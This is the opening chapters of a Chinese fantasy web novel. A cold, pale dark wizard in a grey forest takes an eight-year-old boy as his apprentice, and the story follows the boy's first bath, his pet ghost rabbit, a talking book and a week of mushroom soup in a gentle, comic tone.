《林中的黑巫师》 1. 小巫师 第一卷:黑森林之墓 【对力量的渴求是一切巫师力量的根源,神明亦如是。】 ——漫游旅者,十二纪1432年夏季末,众神狩猎之地。 …… 莱塔是被一阵奇怪的声音吵醒的。 咕嘟,咕嘟。噼啪,噼啪。好像有什么在融化,有什么在爆炸。声源离他很近,他迷迷糊糊睁开眼,坐起。 一口巨大的黑锅摆在他眼前,里头正煮着琥珀色的浓稠液体。时不时有些细碎的玩意儿从水下浮起来,摔下去。拳头大小的泡泡拥挤在水面,又炸裂。 莱塔呆呆坐着,一时间脑子里划过许多睡前故事。 每个故事里,多多少少都会有那样一个邪恶的黑巫师。永远煮着一口扑腾的锅,把一只又一只在森林中迷路的小孩拎住后颈,扔入那不见底的可怕大锅中。 周围的环境也同那些故事中一样:烧着壁炉的小木屋,窗外冷飕飕摇晃的树影,不见月亮的比幕布还要黑暗的天空。 只差一个邪恶的黑巫师。 “醒了。”一道声音忽然响起,很冷,又很轻,像是沉睡在古堡的幽灵。 莱塔抖了抖,则像一只蜷缩一团的灰毛小兔子。他也正如一只机灵的兔子那样警惕抬起视线,见到一人正翘腿坐在扶手椅上。 那人的气质纤细,冷淡,从骨架上来看应当是男性,约莫青年样子。男人的坐姿很是优雅,一头瀑布般的灰发随意散下来,像是灰烬落到了漆黑的袍子。 和自己一样的发色。莱塔默默想。 不过他最关注的,还是那黑袍子。身着漆黑如夜,浑身散发死意,没有人会觉得这是位正派的巫师。 很好,故事里的邪恶黑巫师也凑齐了。 视线上移,他见到了这位黑巫师的脸,竟然并不恐怖。甚至该说是好看。可那是一种非人的质感,浅色的肌肤,浅色的眼睛,就连嘴唇都缺乏血色。枯槁的灰发衬得这张脸更加苍白。 用一捧雪来形容都显得过于有生命力。 那只是一点没烧完的残烬。 莱塔愣愣盯着巫师的脸,有那么几秒都未回过神。他注意到原来那眼睛并不是纯粹的灰色,带了点淡淡的蓝,只是开始时光线昏暗看不太清。 灰蓝色的眼。 莱塔下意识探了探头,想把那不好分辨的颜色看得更仔细些。这是一个过分明显的打量,很是冒犯。 黑巫师神色未变,只是曲着中指,有节律地敲了敲木质的扶手。轻而闷的梆梆声一点点抽回孩子的思绪。 唔。莱塔想起来了。这里有一位邪恶的黑巫师,和与邪恶黑巫师配套的邪恶大黑锅。可想而知,接下来他小小的身体就要坐进那大大的黑锅里了。 小小的孩子眼睛往身后缩了缩,似乎很想要把自己藏入小沙发的缝隙中。 他看不清黑巫师的脸色,只是漫长的沉默让他知道自己的处境不太妙。好吧,他想他得做点什么。 一个孩子能做些什么呢? 比如……撒娇? 这个看起来十分柔弱的孩子,竟然干脆从小沙发上跳下来。脚底刚碰上柔软的厚地毯,孩子的动作便一顿。 因腿太短,他方才双足一直是悬空的。如今后知后觉意识到,原来自己昏睡时被脱了鞋。连袜子都褪掉了,光溜溜。 裸露的脚趾陷在米白色的毛绒地毯中,瑟缩着,像几粒掉落米缸的圆珍珠。因睡得很香,屋内的温度又是那样恰恰好,就连脚趾都是粉色的。不过这也是只有地毯才注意到的事情。 莱塔轻轻吸了口气,眨眨眼睛,慢慢蹭到巫师身边。 他快速朝黑巫师扫了一眼。对方斜靠在一把简单的靠椅上,右手支着扶手撑住下巴,左手则随意搭在另一头的扶手。 在黑巫师没有制止的安静注视下,莱塔捏上了对方的左手袖口。也许是觉得这样不太能打动人,他又相当胆大地把黑巫师的手指,从宽大袖袍里捉出来,就像剥一根玉米。 他轻轻握住了手心里的小拇指,仿佛那不是人的器官,而是一枚白润的玉。他发现这只小指头确实凉凉的,又或许是他自己手掌的温度太高了。 刚睡醒的孩子,浑身软乎又温热,像一团火。长久沉浸于寂寞的人,只会被温暖惊疑,以为那是某种灼伤。 莱塔注意到黑巫师的小指轻轻颤了下,好像这个大人比一个孩子还要紧张。莱塔没有多想。 他仰着脸,努力睁大眼睛,很快就挤出来许多眼泪。在那咕嘟咕嘟不断发出诡异声音的锅前,孩子小声抽泣着,语气却又极为认真。 “我不好吃……” 黑巫师冰雪一般的眼神,终于有了一丝波澜,他有些微妙地瞥着孩子的脸蛋。这时候的莱塔尚且看不懂,只是暗暗想,要不要再多哭点呢。 直到许多年后,莱塔才会反应过来:他这是被当做笨蛋了。 五分钟后,被鉴定为笨蛋的小家伙坐在小沙发上,腿上披着毛毯,脚丫悬在空中开心地轻晃。他捧着碗热乎乎的蘑菇汤,埋头喝得看不见脸。 他是真饿了。 亮晶晶的琥珀色蘑菇汤,甘甜,温热,像一团粘稠的小动物的窝。汤里的料放得很足,切碎的菌类,菌类,以及菌类……好吧,只有各种各样的蘑菇。 莱塔却觉得自己从没有喝过这么好喝的汤。 他几乎是狼吞虎咽地享用着他的美味,全然忘记了身旁还有一个需要害怕的邪恶巫师。即便如此,孩子用餐的模样看着也十分清爽,并不令人皱眉。 然而等吃饱了肚子,莱塔还是无法自控地打了小小的可爱的嗝。 他立即捂住嘴,耳朵红了大半。孩子圆溜溜的眼睛试探性地朝黑巫师瞧了瞧,黑巫师似乎并不在意。 他跳下沙发,把碗放到面前的矮桌上,用桌上放好的手帕认真擦了擦嘴,才又爬回去坐着,两手乖乖端放到腿上。 “名字。”黑巫师问。 “莱塔。”莱塔两只小手又禁不住捏到一起。 “年龄。” “八岁。”两条小腿晃了晃。 黑巫师轻轻扫了他一眼:“我以为你只有五岁。” “可我今年就是八岁……”孩子不开心地挺直背,头顶的呆毛都立正了几分。 黑巫师没有继续这个话题:“从今天开始,你就是我的学徒了……你知道学徒是什么意思吗?” “知道,就是……” “就是从今往后,你便是我的仆从,是属于我的私有物,懂了么?” 莱塔呆呆地张着嘴,又呆呆地望着黑巫师,像某种大草原上呆傻的黄色水豚,脑袋上一撮呆毛晃悠了下。 黑巫师不等他回答,又问:“会自己洗澡么?” “会。”莱塔慢吞吞点了一下头。 “左手第二个房间,去那里把你自己洗干净。”黑巫师向他新收的小学徒发出第一道命令。 “……好。”莱塔迟疑了下,又点了头。 好消息,他并没有被当做食材;坏消息,他成为了对方新鲜出炉的便宜学徒。 一名黑巫师的学徒,听起来这处境并没有好上多少。 莱塔忙不迭朝对方指示的房间走去。 地毯从小沙发一路延伸到门口。 这是一间简陋的盥洗室,胜在干净。 莱塔关上门,站在房间中央,犹豫地东张西望。最终他把视线落在房间内唯一的大木桶上。 好像可以坐进去。 一颗银白色的魔晶石悬在天花板照明,另一颗浅蓝色的魔晶石则静静浮在墙边,触手可及的高度。浴室内淡淡的香气,似乎也是这颗蓝石头发出的。 莱塔猜测需要用魔力触发这颗蓝色石头放水。 可他不会。 莱塔心想,假如现在回去找那个冷冰冰的黑巫师,恐怕他会被不耐烦的新导师当场丢到锅里,死因是太过愚蠢。 想到那个并不美妙的场面,莱塔抽了抽鼻子,摸了摸吃饱的小肚子,胃里温暖的蘑菇汤仿佛也变成了毒药。 他忧伤地安静叹了口气,觉得自己真是全天下最可怜的小东西。孩子的两只手则摸着这颗发着蓝光的石头,全神贯注,试图找到什么诀窍。 感受,感受,感受…… 一秒,两秒,三秒…… 大约十多秒过去,伴随着安静中十分明显的滴答声,大如珍珠的第一颗水滴落下。此后便是连成串的水流,很快在木桶底部积起薄薄一层。 莱塔眨眨眼睛,没有十分惊喜,就好像一切本该如此。他开始尝试更精密地运转体内的魔力,控制出水的速度与温度。 很快便接好了一桶热水。他搬来墙角的小板凳,一件一件脱下衣服,整齐叠放在空衣篓里,再小心翼翼爬入木桶里。 好大的桶哦。沉下去露出眼睛的莱塔想。 借着水的托举,他半坐在桶里,只剩下一颗脑袋浮在水面上。因身体的挤入,过多的水直接从桶里溢出,流在地上到处都是。 浮在水面上的小脑袋认真想:不好,要是黑巫师见了这场景,也会把他扔入锅里的。 莱塔于是又觉得此刻自己坐着的不是桶了,而又是一口大黑锅。说不准人家叫他把自己洗干净,就是为了方便下锅呢? 孩子继续挤出两滴小眼泪,手上魔晶石却握得稳稳,操纵地上的积水将它们凝聚。一团脑袋大小的水球不消一会儿便成形,莱塔坐在桶里,隔空把它牵引到自己面前,不知该怎么处理。 他就这么举着大水球一边泡澡一边思索着,思索到桶里的热水快要放凉,才一惊,赶紧拿起毛巾搓洗起身体,有点笨拙。 放水,控水,凝聚水球,并将其长时间悬浮静置,这确实是对巫师学徒的入门要求。只不过那些小学徒们都会有他们的导师贴心教导,一对一指点细节。大多学徒通常要花上一个月才能找到诀窍,这还是有点天赋的,至于更有天赋的么…… 八岁的莱塔不知晓这一切,他只是给自己认真又欢快地洗了个澡,连门外什么可怕的黑巫师都忘了个一干二净。 他发觉总要腾出一只手摸石头实在太麻烦啦,便琢磨着尝试放开,隔空操作,全凭意念想象水流的运转,没想到对魔力的掌控反而更丝滑了。 魔法真神奇。莱塔感慨。 结果刚得到释放的手,不知道是无意摁上了墙壁哪里,只见靠近木桶的一整面墙豁地消失,露出室外景象,把孩子小小吓了一跳。 同此前刚睡醒时所见的黑漆窗景不同,这里能看见牛奶似的月光。它们缓缓滑动在寂静的林子里,像是飘在尘埃间的轻纱。 森林没有想象中的绿意盎然,一切都是灰扑扑的。黑色与灰色构成了这里全部的光景,所见都苍凉而褪色。 像是一座被烧过的林子。可是很美。莱塔想。 他下意识伸出手,手指触碰到冰凉的玻璃,这才回过神。 孩子把脑袋搁在木桶边沿,全神贯注欣赏着林间景象,忽然觉得这林子的颜色和那黑巫师的发色一模一样。 他没想过他也是同样的灰发。 梆梆。 头顶有东西在敲窗。好近。 莱塔垂下眼睛,圆溜溜的大眼睛正好和另一对小圆眼睛对上。原来有个小东西不知什么时候来到了窗角,四只带软毛的小爪紧贴在窗上,也在看他。 一只金黄的小兔。 莱塔:! 根本没有孩子能拒绝这样的浴室奇遇。头顶简直要冒花花的孩子立即隔着窗和小兔子玩起来,嘴里还叽里咕噜说着话,没一会儿桶里水就又凉了。 小兔歪着脑袋看了他一眼,见人类没有要请他进来的意思,干脆一跺脚跳入了窗内。那分明硬邦邦的窗子,此刻像是一阵无形的薄雾,只在小兔的毛上拂过浅浅一道风吹的痕迹,便放小兔通过了。 莱塔:!!! 孩子更兴奋起来,又怕小兔沾湿了毛,便用擦干的手把对方端到壁挂架上,认认真真说:“等我洗完澡再陪你玩哦。” 随后便是一通麻利的洗洗搓搓,速度比此前任何一分钟都要快。 等自觉已经干干净净,莱塔站起身,光脚踩在地板上,把一直举着的水球放回桶里。是的,哪怕和小兔玩耍时,孩子都没有忘记控水球。 他稍有些茫然地环视一圈。 很快莱塔找到了置物架上叠好的干净衣物。有点高。 他默默又把凳子搬过去,踩上,伸手拿下衣物穿在身上。 这是件款式普通的黑袍,更准确的形容是压根没有款式。不太合他的身,但至少不是大人尺寸,应该是黑 巫师匆匆给他备下的……是临时拿大人袍子改制的吗? 他注意到袖口与下摆都有粗糙的针线痕迹。袍子做得极为简陋,布料不算细腻,贴身磨在嫩肉上,有点不适应。 莱塔想象起他昏睡时,某个冷漠的黑巫师就坐在那木头靠椅上,一针一线地给他缝袍子……不不不,或许是黑巫师还有其他的仆从?莱塔觉得应当是后者。 毕竟不苟言笑的黑巫师亲自给他缝衣服……听起来更可怕了。 莱塔轻轻吸了口气,整个人趴在落地镜上,仔细检查脸有没有洗干净。软乎乎的身体把水渍都蹭到了镜面上。 这是张标准孩子气的脸,让大人见了就忍不住上手捏。虽稚嫩,却也精致非凡,已经能依稀看出长大后将十分惊艳的模样。 湿哒哒的一大卷灰发垂在肩头,悬在腰后,尚在滴水,瘦小的身体包裹在黑沉的袍子里,倒是擦干了。过于宽松的袍子下摆齐小腿肚,小小的指头更是只露出浅浅一截。 显然,黑袍没有为孩子增添成熟感,反而衬得更小小一团。 这是一只谁也吓不到的小黑巫师。 镜子里,黑色的衣裳,灰色的头发,白色的肌肤,全身上下好像只有那对眼睛有颜色。紫色的眼眨了眨。 他想,从今往后自己就要一直穿黑色的袍子了。 ……一点也不好看。莱塔嫌弃地撅起嘴。 成为黑巫师学徒的第一天,莱塔因丑衣服陷入湿哒哒的沮丧。 旁观许久的小兔适时跳上来,一跃到了孩子的头顶,蹲坐,像一只毛茸茸的玩偶发饰。莱塔望着镜中的自己,又弯起眼睛笑了。 “我也有兔子耳朵了。”他对小兔指了指他头顶上新长出来的细长耳朵,摇头晃脑。小兔歪着脑袋看他。 临到出门,莱塔却又思考起来。 自己要怎么解释,为什么洗着洗着,头上就多出来一只小兔呢? 黑巫师会不会把它的小兔捉走,进行残忍的处理? 一定会吧。 哪里可以藏起他的小兔? 莱塔左看右看,目光在光秃秃的盥洗室扫视一圈,最终落到了自己身上,那空荡荡挂着风的黑袍子。 一分钟后,一只香喷喷的干净小莱塔走出了浴室,面色平静,姿态从容,一切都是那么的完美——如果不看他小肚子上若隐若现的圆形隆起。 “……浴室内发生了什么吗?”黑巫师仍旧坐在椅子上,沉默地注视了孩子一路,才轻声问。 “没有,什么也没有。”莱塔站在黑巫师前,严肃绷住小脸。 “……”黑巫师没有继续问下去,只是随意看了眼地毯上一串小小的湿脚印。显而易见,有人擦干了身体,却忘记擦湿漉漉的小脚丫。 最后,黑巫师的目光停在孩子的小肚子上。 莱塔捏着手掌,攥着衣服,不确定是否被看出来……是不是已经看出来了?还是没有?小兔子的尾巴戳得他肚皮痒痒的,凉凉的…… 正七想八想呢,黑巫师那边又轻轻传来一句:“你有一定天赋。”视线仍没从小肚子移开。 ……什么天赋?洗澡吗?莱塔呆了呆。 “过来。”黑巫师对发呆的小学徒发出今天的第二道指令。 小学徒乖乖走过去。 “坐下。” 小学徒乖乖坐上一把放有软垫的长脚矮背靠椅,双腿悬在半空。 随后,便是黑巫师开始给孩子徒手吹头发。 这完全出乎莱塔的意料,不过渐渐地孩子便眯起眼睛,整个人松松软软地滩成一团泥,对黑巫师的服侍接受良好。 黑巫师的指尖揉过他的头皮,带来温度适中的轻风。风在孩子的发间细密地旋转,勾起流光的发旋。 如果有其他巫师在此,想必要露出没见过世面的样子:天呐,看看这精妙的魔力控制! 可坐在这里的只有一只昏昏欲睡的灰长毛小猫。 一面水晶镜子凭空生成,立在孩子面前,映出一张迷迷糊糊的小脸。风停,黑巫师苍白的手指握起一把木梳,细致梳开猫毛。 他安静看着镜中的孩子,或者说观察。 这是一个长相过于精致的孩子,身形也很是娇小,留着一头齐腿根的自然卷长发。长发如水如月光,肆意倾泻,为孩子增添许多的贵气。 同黑巫师一样,它们是灰色的。只是孩子的发质明显顺滑许多,像摸着一匹上好的绸缎,哪怕此刻光线黯淡,也看得出漂亮极了。 刚吹热乎的毛发,到处卷翘,越吹越多,略显杂乱的碎发们很是调皮地卷在脸侧——显然,有人的梳毛手法不堪入目,纯靠模特过硬的脸撑着。 黑巫师仍神色淡漠,没有多少自知之明。 不知何时开始,他的视线停留在孩子的脸上。那对水润的眼睛正半阖着,只露出浅浅一抹光亮。 紫色的,柔软的,充满希望的,一对稚嫩的……鸢尾。 黑巫师长久地凝视着它们。 莱塔从迷迷糊糊中猛地警觉过来。他狐疑地揉揉眼睛,总觉得刚才有什么坏东西盯上他了。 不过这里显然什么也没有,只有一位勤勤恳恳为他吹头的好心黑巫师。好吧,也许没那么好心,目前还不能下判断。 莱塔自以为不着痕迹地移了移腿,让趴在他肚子上的小兔更舒服些——主要是让他自己更舒服些。小兔好乖啊,都不乱动。虽然还是有点痒痒的。 见黑巫师似乎确实没有发觉他袍中的小兔子,莱塔这才有闲心把目光分给其他的东西。 比如那口大黑锅旁边正漂浮的十几只水袋,先前还没有呢。 黑锅内的液体已经下去了大半,而水袋内的物质……莱塔看见一只大勺正自动从锅里舀蘑菇汤,倒入袋中,灌满便娴熟扎紧。 显然,黑巫师在给他吹头的同时,正不紧不慢地为蘑菇汤们进行分装。 这是要……做魔药?莱塔又呆呆想。 注意到孩子的视线,黑巫师解释道:“那是你接下来一周的食物。” 哦。莱塔似懂非懂。 ……等等。 ……一周?这个? 吃一周??? 这个哪怕以为自己要被吃掉都仍然淡定的孩子,终于缓缓张大了嘴巴,瞳孔震颤。 2. 卧室与活书 因太过震惊,莱塔忘记了保持坐姿,半个身子都起来,转身想向黑巫师确认。 一只金灿灿的小兔子就这样从他的袍子中掉落出来,往毛绒地毯上滚了滚。 兔子扬起脑袋,小豆眼睛同黑巫师四目相对。 黑巫师:“……你想吃这个?” 他对兔子的出现没有露出任何惊讶。他只是看了眼他的大锅,又看了眼孩子脸上反常的情绪,最后得出这么一个结论。 莱塔的震惊却当即转变为毛茸茸的愤怒。 他跳下椅子,像每个这个年纪的孩子一样,把自己刚捡到的小兔子抱在怀里,蹲成一团,满脸都是对残忍大人的指控。 “不可以!小兔子这么可爱!怎么可以吃小兔!” “……”黑巫师张了张嘴,到底还是没说话。 于是小兔算是在大人眼前过了明路,莱塔拥有了自己的第一只宠物。他给它取名叫饼干。 孩子的全身心都被拥有饼干的喜悦灌满,一下便把几分钟前的蘑菇汤预制事件忘了个一干二净。 ——挑剔,但很好糊弄。 黑巫师给莱塔拿了双临时的干净拖鞋,以及一块用于擦脚的干布。他看着孩子换好鞋子,便起身上楼。 “随我来。” 咯吱咯吱。 咯吱咯吱。 咯吱咯吱咯吱。 黑巫师中途忍不住停下脚步,他转身,微妙地低头。 孩子顶着兔子茫然看着他,还好奇问:“怎么了?” 黑巫师看向孩子两根细脚上套着的成人拖鞋,轻声叹了口气:“……我明天给你换一双合适的。” “哦……” 他将莱塔领到一间屋子前:“以后这里就是你的卧室。” 莱塔从黑巫师身后探出脑袋。 同他想象中不同,这是一间有些典雅的屋子。 干净且浅色的木床与木柜很是宽大,室内活动空间却并不拘束。一张看起来比他两手臂张开还要长的桌子上,是一面几乎占据半边墙的窗。双开的窗,雕着素雅的木玫瑰,比屋内其他木家具的颜色略深,能看见满目的森林。 屋内最多的摆件——书籍沉甸甸塞了整面书架墙,按照书壳的颜色高低乃至厚度整齐罗列。书桌与床头也放着几摞书,一本摊开的内页泛黄的书,还夹着落叶书签,躺在桌上正中央。 除了随处可见的魔法书与笔记,以及床上叠得整齐的被褥,几乎没有生活过的痕迹。这里太缺乏人的气息。 黑巫师说:“这些书你先读完,遇到不懂的再来找我。” 对一名八岁的孩子而言,这里的书应当全部是看不懂的,黑巫师似乎完全没有思考过这一点。而孩子也没有提出质疑。 “这里本来是你的房间?”莱塔仰起脑袋。他头顶的小兔子滑落到了肩头,抓住孩子的小卷发,才没继续掉下去。 黑巫师顿了下,点头:“现在它是你的了。” “那你呢?” “我今晚会搬到阁楼。” “啊。” 莱塔愣愣想,黑巫师好像不是坏人。 孩子的世界里,善恶总是这么简单。 他又揪了揪对方的大袖子:“那这些书呢?你不看了吗?” “我已经看了很多遍。”黑巫师耐心解释。 “哦……” 就这样,莱塔搬进了他的新家。他作为屋子的新主人坐在床边,看着黑巫师来到床头,拿起一支剔透的花瓶。 瓶子又细又长,灰蓝色,似乎是某种稀有的魔晶石制成,看上去很有质感。真奇妙,他刚才一直没有注意到这支瓶子,直到黑巫师触碰它。这就是魔法吗。 莱塔的目光牢牢被瓶中花所牵引。花瓣淡而优雅,是极为轻柔的紫色,像一束朦胧的水雾。莱塔总觉得这种紫色很熟悉。 “这是什么花?”他问。 “是鸢尾……我晚些时候会给你换一床新的被褥,不要睡太早。”黑巫师捧着花瓶离开,关上了卧室门。 只剩下了自己,和一只小兔。莱塔便把自己躺在床上,两只手大大咧咧摊开。他望着天花板上神秘漂亮的手绘魔法阵,学着大人模样小声叹了口气。 “饼干,我总觉得今晚我会失眠的。” 小兔用湿鼻子顶了顶他的脸,弄得孩子一阵痒意,禁不住笑咯咯。 和小兔玩耍了一阵,莱塔便一骨碌爬起身,给自己打气:“好啦,先看书吧!” 说是不喜欢黑巫师这种身份,然而成为黑巫师学徒的第一晚,莱塔还是很好奇地蹲在书架前,翻翻找找。这可是他魔法路上将学习的第一本书,非常有特别意义,得好好挑选呢。 孩子在心里头是如此一本正经地说着。结果真到读起书来,他直接略过了那些大部头的催眠神器,挑剔又漫不经心地挑拣出些看起来好玩的书名。 《血术巫师与咒术巫师一对一实战中的思路对比》扔掉…… 《低阶亡灵巫师的近战强化思路》扔掉…… 《更高效的节魔——以高阶亡灵巫师为例》扔掉…… 《施术法杖与冷热兵器的结合》扔掉…… 《松鼠与兔子的灵魂活跃度差异》喔小兔子…… 《大面积培养蘑菇妖精作为魂役的可行性研究》蘑菇汤好喝…… 这些好像是黑巫师自己的手记。莱塔翻了几页感兴趣的,发现和他想象中不太一样,密密麻麻全是字。穿插的配图倒是一看就很高级,只是落到孩子眼里和树桩上的细密年轮没什么区别。 都是黑巫师自己画的吗……好厉害啊…… 莱塔全——都读不懂。 不过,黑巫师好像比他想象中要厉害很多呢…… 完全想象不出怎么画出的繁密图案,整齐优雅的手写字,一看就被保存得很细心的书本。这些东西让莱塔渐渐放慢了挑剔的目光,他开始看起那些好像很枯燥的砖头书。 果然很枯燥。 几小时过去,孩子躺在床上,打了个哈欠。他身边堆了一摞小书山。金黄小兔趴在书山尖尖上,也用那小小的花生眼陪着他看。 有点困了,黑巫师还不来换床铺吗。 莱塔揉揉眼睛,蜷缩成一团,呼吸逐渐悠长。 小兔跳到孩子的小腹前趴下,用圆乎乎的身体替孩子捂住了容易受凉的肚皮,同样闭上眼睛。 在孩子松松攥着的手心边,一本摊开的黑色封壳的厚皮书,才被孩子读了个扉页,这会儿正无风自己翻动。书的名字是《神明,神徒与信仰》,字迹风格同房间内其他书籍有微妙差别,像是刻意模仿。 【如前文所述,艾尔比斯大陆如今供奉着十位正神,其下各有从神若干。信奉神明者,为神明之信徒,得神明的祝福。信奉神明之巫师,人们称之神徒,他们直接受神的赐福……】 【从那日开始,我们再也听不到主的声音了。十神以不可告人的贪婪围剿了它。它从此受诸神囚禁,永久镇压于幽冥之底,被冠以邪神之名……】 【从此身披黑袍的巫师们彻底遭受驱逐,信仰它的神徒们历经漫长流浪,奔逃喘息。它冻结于生与死之间,不得脱困,不得湮灭,一如它的名字——】 一只苍白的手落下,恰好盖在那句话上,将这本书合起。 “书”活了起来,临时浮现的虚假书名被无形抹去。无名之书挣扎着想要逃跑,却被冰冷的手牢牢禁锢。 男人平静反问:“嗯?” < p>活书不动了,竟发出声音,语气蔫蔫:“我想给这个小鬼介绍我们最伟大的主……” “不急于这一时。”黑巫师随手将活书扔到一边。 他把熟睡的孩子抱起,床上凌乱的被子与书堆自行漂浮,移至一边。他身后带来的崭新被褥,则丝滑地在床上摊开。是淡紫色,带着助眠的清香。 黑巫师将孩子放回到松软的新枕头上。躺在孩子肚子上的小兔子醒了,呆呆望着黑巫师看。 它感知到这是一位十分强大的存在,可它的本能却并不想逃跑。 它只是一只小兔,不知道这是为什么。 黑巫师轻声说:“原本你应当在明天这个时候就会彻底消散。但既然他喜欢你,你便多陪他一段时间。” 小兔懵懵懂懂听明白了。它获得了短暂的时光,作为一道已死的亡魂。小兔晃了晃自己的竖长耳朵。 “至于你……”黑巫师瞥向活书。 活书把自己两边的书页都蜷起,有些讨好地嘿嘿了几声:“我也可以陪着……” “不必了,他在这里可以直接请教我。今后你不要随意进来他的屋子,以免打扰他的休息。” “好吧……”活书委屈巴巴地从窗子飘出去。 “……但如果他找你,你也可以指点他一二。”黑巫师补充道。 “好嘞!”活书兴高采烈地消失了。 黑巫师将一双新剪好的小拖鞋,放到床边,又往衣柜里仔细挂了些孩子穿的衣物,便带着旧的床褥离开了。 出了门,黑巫师没有立即去他的新卧室。 他先到浴室,开始脱衣,洗漱。 壁挂架下放着一只板凳,他看了几眼,思索几秒,才意识到这只工具存在于此的用意。 下一瞬,那架子便凭空往下移了几步,正好到孩子胸口的高度。与此同时,整个小木屋所有的架子与柜子,都进行了一次缩水。 正要将换下的衣物放入桶中,黑巫师目光微变,有些惊讶。 木桶被用过了。 “他用的是这个洗衣桶……?” 黑巫师静止了片刻,默默召来活书。 活书:“来啦来啦,您有什么吩咐吗……” “给我一份浴缸的建造图纸。” 活书:“……啊?” 黑巫师在浴室内多耽搁了一个小时,终于做好一只可伸缩的木浴缸。未来哪怕孩子长身体,也能一直用下去。 至于黑巫师自己,则是半倚靠在墙边,为自己做着简单的淋浴,就像过去百年间一样。在孩子到来前,这个屋子里尚且没有出现泡澡的需求。 洗浴完毕的黑巫师停在阁楼的门口,这里原本充当杂物室。他指挥着房间内纷飞的家具,以及正在形成家具的木板,钉子,布匹。杂物被运出,空房渐渐有了住人的样子。 他站在简陋的床前,将那套带来的旧被子铺上,很快又是表情微变——好几根某个孩子掉下的发丝。 刚睡下的活书又被招来:“又怎么了……” “给我一份护发的魔药配方。” “……您不觉得这孩子毛发挺健康的吗?” “可他掉发了。” “……活人!活人就是会掉头发的!您有多久没有见过活人了!” 说完这话,活书自知失言,猛地住嘴。这毕竟是一段伤心事。它观察起黑巫师的神色,似乎仍旧淡淡的,才嘿嘿一笑又劝慰起来。 “不过我看呐,这个孩子意味着一份希望,想必我们出去的机会很快就要来了……您是在哪里捡到他的?这简直是个奇迹,竟然还有活人能进入黑森林……” 黑巫师没有理会活书的喋喋不休,默默将床上的发丝一根根摘下。 3. 小木屋 黑袍子,黑袍子,黑袍子。 第二日醒来的莱塔,一脸深沉地站在衣柜前,试图在这一排丑衣服中找出什么款式上的不同。 哦,这件袖口宽一些,那件下摆短一点,看得出来都是纯手工缝制,毫无量产痕迹。他该喜悦于这点“差异性”么? 莱塔像个小大人一样,忧伤地叹了口气。虽嫌弃,却还是乖乖取出,研究穿法……好像直接从头顶往下套就行。好质朴。 期间脱到光溜溜时,莱塔还有些害羞地用被子给小兔罩起一个尖尖。 他教育道:“不可以看哦,这是坏孩子才会做的事情。” 小兔听不懂但乖巧地蹲在被窝里。 孩子很快穿好了一身小黑巫师的打扮。小小的身子空荡荡在袍子里晃,两截露出的小腿肚插入哑光的短靴中。靴子口像只宽松的浅碗,衬得脚踝更细一根,黑色短袜则比鞋高上三指。他弯腰认真给皮靴系了对漂亮的细黑蝴蝶结。 好清凉啊…… 莱塔呆呆感受了一阵下身灌风的错觉,才终于瞟见了衣柜里另一个小小的方形衣篓。他打开薄薄一片的木格纹盖子。 原来内裤都在这里。这倒是白色的。 不大不小刚刚好。 莱塔在落地镜前把自己看了又看,脸鼓了鼓,闷闷不乐好一会儿才松开。把小兔顶在头顶,嗯,这样好看多啦。 他哒哒哒下了楼,皮靴发出清脆碰撞声响,称脚而结实。 黑巫师仍坐在那把木摇椅上,这次在窗边。他一手撑脸,一手捧着本书,几缕长发散落在袍子与书页上,配合窗外林景,像是幅挂在墙上的素雅油画。 莱塔在楼梯脚站住,默默看了一会儿。好吧,看在他的便宜导师长得挺好看的分上,他也不是不能大度地原谅这些丑衣服——这孩子显然还在耿耿于怀。 莱塔上前几步。 黑巫师没抬头,只说:“早餐在桌上。” 莱塔的视线扫过去,停滞:那是一碗很眼熟的蘑菇汤。 他终于想起来昨天被打断的一件挺重要的事。 “……你说接下来一周都要吃这个,是真的吗?” “是的。”黑巫师点头,又似乎很贴心地补充,“不必担心食物的供给。” “……”这个大人是不是有什么毛病? 莱塔张了张嘴,又闭上,默默坐上桌子,脚尖挑在空气里。 他现在终于有了些被一名黑巫师收徒的实感。不错,黑巫师,你能指望那些故事里邋里邋遢、黑不溜秋的可怕家伙,提供什么舒适的好日子呢? 至少他遇上的这只黑巫师很好看!莱塔再度宽慰自己。 也许因为小学徒迟迟没有动口,窗边安静的黑巫师抬起头,投来困惑的目光:“吃不下?” 莱塔晃晃腿:“昨天晚上就是吃的蘑菇汤。” “是的。”黑巫师说。 “所以今天想换口味。没有别的了吗?我是说,正常人不会连续一周一日三餐都吃同样的蘑菇汤。这样会让我营养不良、精神萎靡、不再可爱~”莱塔用一种吟唱般的语调念着,身子一摇一摇,像只小手风琴。 黑巫师沉默了一会儿,回答:“我明白了,接下来开始我会注意。” 一直悄悄观察黑巫师神色的小学徒,终于松了口气。看来他的导师还挺好说话的嘛…… 莱塔拿起勺子,开始享用今天的早餐,腮帮子嚼嚼,吃得很香。 黑巫师静静看了几秒,又问:“不是说想要换口味?” “已经做好的不能浪费~”莱塔摇头晃脑哼道,又猛地收住,扭头,一脸严肃,“但这不代表我要接受你已经做好的那一大锅蘑菇——你这样才是在糟蹋食材,先生。” 他说着用他的小指头,隔空用力指了指旁边的大锅,仿佛这样能把大黑锅给敲碎似的。 “……好。” 真好说话。莱塔愉快地往嘴里扔了块圆滚滚的小蘑菇。 早餐快结束时,黑巫师那边似乎也读完了那本厚厚的书。他轻叩窗,一只比脑袋还大的黑皮书就穿越窗子,飞了进来,和小兔过窗的情景一样。 这让莱塔觉得他们家的窗子都是摆设,没有一点密闭安全可言。 而且,这黑皮书是不是有点眼熟?莱塔竖起耳朵细听。 “他需要新鲜的肉……” “天呐,肉?!不要说黑森林了,就是扩大到整个迷雾,也没有一只活蹦乱跳的……” “只要是肉即可……” “别说是小孩了,哪怕是好些饱经历练的冒险者,通常也不愿意吃‘那种东西’……” “那些东西很好,能补充魔力……” 听着听着,莱塔机警地发觉这事和自己有关,而且明显很不妙。 他跳下椅子,绷起小脸:“我可不吃人肉!” 正低声讨论的黑巫师与活书看向他。 “只是魔物。”黑巫师轻描淡写说道。 活书大声咳嗽了几下,书页翻得滚滚。 天呐,怎么可以在小孩面前直接说出来!这小屁孩肯定要哭鼻子,以后端出任何肉菜都闹绝食! 结果莱塔却只是愣了下,好奇又问:“魔物也可以吃吗?” “可以,只是处理起来比寻常动物多一些程序。”黑巫师的口吻仍旧淡淡。 一旁的活书却不淡定了。那可不是多“一些”的问题。冒险者们若非走投无路,断然不敢轻易尝试,便是因为这魔物身体里通常蕴含着大量的毒素,以及巫师们尚且没法解明的有害物质。 是饿一时,还是身上添个持续扣血的减益一世,或者干脆嘎巴一下翻白眼躺地,这是个问题。 